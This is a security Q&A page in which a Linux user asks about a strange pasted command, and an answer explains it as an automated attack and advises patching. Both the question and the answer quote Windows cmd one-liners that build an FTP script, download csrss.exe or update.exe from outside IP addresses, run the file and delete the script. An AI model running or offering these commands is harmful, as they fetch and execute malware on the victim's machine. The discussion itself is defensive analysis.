Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I am using Ubuntu 13.04. Something really strange happened. I was writing my homework for a Ruby course. I had Sublime Text 2 (a text editor like Notepad, Notepad++, Textmate etc.) opened and was working on some code. I was also surfing the web using latest version of Chrome. At some point I switched windows from Chrome to Sublime Text 2. I was about to write something, when suddenly the following script was "pasted" into my document:

eq&echo user 20858 17334 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq

It got pasted in several portions in very quick successions. It was as if someone had control over my computer and was pasting this. I am sure I didn't paste it myself (in case somebody thinks it somehow got copied to my clipboard to get pasted the next time I press Ctrl + V). So my question(s) - what does this script mean, what kind of attack was that and how do I protect myself from this in the future?

share|improve this question

1 Answer 1

up vote 2 down vote accepted

Well, there seems to be a few similar snippets of code around the web. The most similar to yours was found on a Pastebin-type site that has since been removed (but the Google Cache was still up):

cmd /c echo open 201.120.57.137 21 >> ik &echo user oracle oracle >> ik &echo binary >> ik &echo get update.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &update.exe &exit &echo open 95.125.139.200 11104 >> eq&echo user 1297 20204 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq

Although the code is somewhat different, there is quite good analysis from veteran Ars Technica forum member Syonyk here:

tl;dr version: "Don't run VNC on a public IP with anything but a very, very strong password. Better yet, don't run it on a public port (bind it to localhost), and SSH/VPN in to access it."

A friend of mine has a Mac, and her system has been a bit strange lately.

Specifically, it's been acting suspiciously like it's been rooted - which, being a fellow Mac user, concerns me greatly. She's had random text show up in IM windows, but apparently was away from the computer and never investigated.

Tonight, she had something show up in a terminal window while she was away, and IM'd it to me. I have remote (root) access to her system (she's aware of this and set up the account for me), and was bored, so I decided to investigate. ... My first thought was that this had to be an automated program. A human won't try to enter Win32 specific commands on a Mac. It appears that the program sent keycodes that were not translated properly to the Mac, which would be consistent with an automated program.

I would generally think that:

  • This is an automated attack. csrss.exe is a Windows system executable, and someone specifically targeting your Linux system would not try to invoke it.

  • This type of attack (passing a command sequence into the user clipboard in the hopes that it will be inadvertently executed in a command prompt) is not new - the Ars Technica post is from 2002, over a decade ago.

So I would suggest that your computer may not be compromised (contrary to the Ars Technica opinion above):

  1. You sound like you would not have made the mistakes described. It may "just" be that a browser feature (or exploit) has allowed a malicious site to access your clipboard.

  2. If indeed your computer has been compromised, the attacker would have no need to use this method - he would just interact with a shell remotely.

The solution for you would probably be watchful waiting - as in be alert for any further oddness, and if seen re-evaluate.

Or if some action were deemed prudent, probably the best would be the usual suspects - make sure your browser(s), browser plugins, and your OS are up to date with security patches.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.